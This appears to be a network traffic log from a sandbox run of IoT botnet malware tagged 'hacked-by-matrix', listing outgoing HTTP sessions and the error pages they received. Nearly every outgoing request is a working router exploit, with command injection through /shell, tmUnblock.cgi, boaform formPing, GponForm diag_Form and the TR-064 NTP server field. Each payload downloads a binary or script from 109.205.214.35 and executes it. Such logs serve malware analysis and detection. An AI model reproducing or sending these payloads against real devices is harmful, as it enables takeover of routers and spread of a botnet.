Mar 21, 2024 05:23:44.237442970 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:44.332113028 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:23:44 GMT Date: Thu, 21 Mar 2024 04:23:44 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 34 66 65 66 32 65 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 30 32 34 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.4fef2e17.1710995024.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2045	192.168.2.13	39516	173.194.67.151	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:43.724850893 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:43.854213953 CET	1286	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1555 Date: Thu, 21 Mar 2024 04:23:43 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-devi
Mar 21, 2024 05:23:43.854249001 CET	450	IN	Data Raw: 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f Data Ascii: ce-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.go

Session ID	Source IP	Source Port	Destination IP	Destination Port
2046	192.168.2.13	46246	104.83.204.37	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:43.767483950 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:44.068591118 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:23:43 GMT Date: Thu, 21 Mar 2024 04:23:43 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 34 36 39 63 33 65 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 30 32 33 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.469c3e17.1710995023.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2047	192.168.2.13	47574	172.67.6.2	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:43.788172007 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:44.301359892 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2048	192.168.2.13	37860	213.21.11.36	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:43.859296083 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
2049	192.168.2.13	57138	109.3.175.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:43.877645016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2050	192.168.2.13	34142	118.83.187.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:43.877645016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2051	192.168.2.13	47212	5.217.61.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:43.877691984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2052	192.168.2.13	35148	42.143.0.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:43.877717018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2053	192.168.2.13	35836	42.133.55.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:43.877739906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2054	192.168.2.13	55434	212.94.113.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:43.877743006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2055	192.168.2.13	60870	118.28.217.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:43.877804995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2056	192.168.2.13	53382	196.210.41.92	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:44.068886995 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:44.440284967 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:28:17 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
2057	192.168.2.13	35290	101.108.186.123	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:44.098406076 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2058	192.168.2.13	40574	94.181.90.135	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:44.201580048 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:44.440238953 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 08:23:43 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
2059	192.168.2.13	55942	23.200.250.151	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:44.204936028 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:44.306888103 CET	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Thu, 21 Mar 2024 04:23:44 GMT Date: Thu, 21 Mar 2024 04:23:44 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 31 64 33 33 33 32 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 30 32 34 26 23 34 36 3b 30 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 37 26 23 34 36 3b 31 64 33 33 33 32 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 30 32 34 26 23 34 36 3b 30 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.1d333217.1710995024.0<P>https://errors.edgesuite.net/7.1d333217.1710995024.0</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2060	192.168.2.13	50472	34.98.71.52	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:44.294624090 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2061	192.168.2.13	38548	66.66.29.139	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:44.324703932 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2062	192.168.2.13	53518	196.210.41.92	7547

Timestamp	Bytes transferred	Direction	Data
